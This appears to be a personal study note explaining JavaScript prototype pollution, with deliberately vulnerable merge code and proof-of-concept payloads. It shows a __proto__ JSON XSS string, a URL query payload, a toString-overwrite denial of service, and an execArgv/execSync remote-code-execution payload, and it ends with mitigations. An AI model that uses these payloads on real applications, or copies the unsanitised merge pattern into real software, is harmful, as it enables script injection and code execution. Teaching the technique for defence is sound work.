🧠 JavaScript - Prototype Pollution
What is it?
- Concept:
This vulnerability allows an attacker to add malicious properties into an object’s prototype. In JavaScript, objects are key-value pairs that inherit from prototypes, ultimately tracing back to Object.prototype (which itself has a null prototype). By passing unclean input into recursive merge functions, an attacker can overwrite or “pollute” the base Object.prototype
Because of JavaScript’s inheritance tree (Object.prototype → String.prototype / Array.prototype → instances), polluting the root prototype affects all objects in the application.
- Impact: Client-Side DOM XSS, Server-Side Denial of Service (DoS), and Remote Code Execution (RCE)
How it works
Successful exploitation relies on three critical components:
- Source: The entry point for the malicious input, such as URL parameters, JSON bodies, or web messages
Note: The vulnerability often relies on
JSON.parse(), because parsing a JSON string explicitly treats__proto__as a key, whereas defining a raw JavaScript object might not
-
Gadget: The specific property being manipulated by the attacker. This property must be subsequently used by the application in a dangerous way.
-
Sink: This is the function that is it used in a ‘dangerous way’ that we’ve mentioned previously. It is the function or DOM element that executes the polluted gadget. Common sinks include
eval(),script.src, andinnerHTML.
Example vulnerable code:
// --- The Enabler: A vulnerable recursive merge function ---
// This function blindly copies keys, including __proto__, without sanitization.
function merge(target, source) {
for (let key in source) {
if (typeof source[key] === 'object' && source[key] !== null) {
if (!target[key]) target[key] = {};
merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
return target;
}
// ==========================================
// THE ATTACK CHAIN
// ==========================================
// 1. THE SOURCE
// The application receives malicious JSON input from the attacker
// (e.g., via a POST request body or parsed from a URL hash).
let maliciousInput = JSON.parse('{"__proto__": {"customAvatar": "<img src=x onerror=alert(\\'XSS\\')>"}}');
let appConfig = { theme: "dark" };
// The application merges the malicious input into the app config.
// *POLLUTION OCCURS HERE*: Object.prototype.customAvatar is now set.
merge(appConfig, maliciousInput);
// 2. THE GADGET
// Somewhere else in the application, a completely unrelated object is created.
let userProfile = {
username: "Admin",
role: "System Administrator"
// Notice: There is no 'customAvatar' defined here.
};
// The application's business logic checks if the user has a custom avatar.
// Because 'customAvatar' is undefined on userProfile, JavaScript traverses up
// the prototype chain, finds it on Object.prototype, and returns the malicious string!
let avatarToRender = userProfile.customAvatar || "default-avatar.png";
// 3. THE SINK
// The application takes the gadget (the polluted data) and passes it into
// a dangerous execution context—in this case, rendering it directly to the DOM.
let profileDiv = document.getElementById("profile");
profileDiv.innerHTML = avatarToRender; // XSS triggers here!Exploitation
Attack Vectors
Vector 1: Client-Side DOM XSS
Attackers can pollute prototypes via URL parameters to inject malicious scripts into the DOM. The PortSwigger DOM Invader extension is a highly effective tool for scanning for these sources and gadgets within browser developer tools.
// --- 1. THE SOURCE ---
// Assume the attacker sends the victim a link:
// https://example.com/?__proto__[script_url]=data:,alert('XSS')
// A vulnerable function parses the URL query and insecurely merges it
function parseQueryParamsAndMerge(defaultConfig) {
const params = new URLSearchParams(window.location.search);
let userConfig = {};
for (let [key, value] of params.entries()) {
// Vulnerable regex/split logic that creates deep objects
let keys = key.split(/\[|\]/).filter(Boolean);
let current = userConfig;
for (let i = 0; i < keys.length - 1; i++) {
if (!current[keys[i]]) current[keys[i]] = {};
current = current[keys[i]];
}
// POLLUTION OCCURS HERE: current['__proto__']['script_url'] = 'data:,alert("XSS")'
current[keys[keys.length - 1]] = value;
}
// Merge into defaults
return Object.assign({}, defaultConfig, userConfig);
}
const config = parseQueryParamsAndMerge({ theme: 'dark' });
// --- 2. THE GADGET ---
// Later in the application, a completely different component needs to load a script.
// It creates an empty object for options.
let scriptOptions = {};
// Because of the pollution, scriptOptions.script_url is NOT undefined.
// It inherits the malicious data URI from Object.prototype.
let scriptToLoad = scriptOptions.script_url || "https://analytics.example.com/tracker.js";
// --- 3. THE SINK ---
// The application injects the script into the DOM.
let scriptEl = document.createElement("script");
scriptEl.src = scriptToLoad;
document.head.appendChild(scriptEl); // XSS triggers!Example Payload: ?__proto__[transport_url]=data:,alert(1)
Mechanism: If the application has a sink that assigns config.transport_url to a script.src element, the application will pull the malicious data URI from the polluted prototype and execute the alert
# Paste command or payload hereVector 2: Server-Side DoS
Denial of Service (DoS): Attackers can cause a DoS by polluting properties like req.body, encoding, parameterLimit, or content-type.
Example Payload:
const express = require('express');
const app = express();
// Vulnerable merge function used somewhere in the app
function merge(target, source) { /* ... vulnerable logic ... */ }
// --- 1. THE SOURCE ---
app.post('/update-profile', express.json(), (req, res) => {
let userProfile = {};
// The attacker sends a JSON body:
// {"__proto__": {"toString": "I am a string now, not a function!"}}
// POLLUTION OCCURS HERE
merge(userProfile, req.body);
res.send('Profile updated');
});
// --- 2. THE GADGET & 3. THE SINK ---
// Now, ANY subsequent request to this server that triggers a toString()
// conversion on a standard object will crash the entire Node.js application.
app.get('/log-activity', (req, res) => {
let activityData = { user: "admin", action: "login" };
// Internally, console.log or string concatenation often calls .toString()
// Because Object.prototype.toString was overwritten with a string,
// this throws a TypeError: activityData.toString is not a function
console.log("Activity logged: " + activityData);
res.send('Logged');
});Server-Side Node.js RCE
This is the most critical vector. It occurs when a Node.js backend uses modules like child_process and the attacker pollutes the options object that is passed to those functions.
const express = require('express');
const { fork } = require('child_process');
const app = express();
// Vulnerable merge function
function merge(target, source) { /* ... vulnerable logic ... */ }
// --- 1. THE SOURCE ---
app.post('/import-config', express.json(), (req, res) => {
let appConfig = {};
// The attacker sends:
// {
// "__proto__": {
// "execArgv": [
// "--eval",
// "require('child_process').execSync('touch /tmp/pwned')"
// ]
// }
// }
// POLLUTION OCCURS HERE
merge(appConfig, req.body);
res.send('Config updated');
});
// --- 2. THE GADGET & 3. THE SINK ---
app.post('/run-background-job', (req, res) => {
// The developer intends to fork a harmless background script.
// They pass an empty options object (or an object without execArgv defined).
let options = {};
// When fork() is called, Node.js internally inspects the `options` object.
// It checks for `options.execArgv`.
// Because of the pollution, it finds our malicious array on the prototype!
// It spawns the new Node process with our injected command-line arguments.
const job = fork('harmless-worker.js', [], options); // RCE triggers here!
res.send('Job started');
});Mitigation
-
Key Sanitization: Implement strict deny-lists within merge functions to ignore keys like
__proto__,constructor, andprototype. -
Safe Libraries: Ensure all object-merging libraries (like
merge) are updated to their latest, patched versions. -
Prototype-less Objects: Use
Object.create(null)to instantiate objects. This creates an object that completely lacks a prototype, rendering it immune to prototype pollution. -
Freeze the Prototype: Call
Object.freeze(Object.prototype)to lock the global prototype, preventing any downstream modifications. -
Use Modern Data Structures: Utilize JavaScript’s built-in
MaporSetobjects for key-value storage instead of traditional Objects.
Related Usage
TABLE creation_date AS "Created"
FROM "05 - Content"
WHERE contains(techniques, this.file.link) AND contains(tags, "🚩")
SORT file.name ASC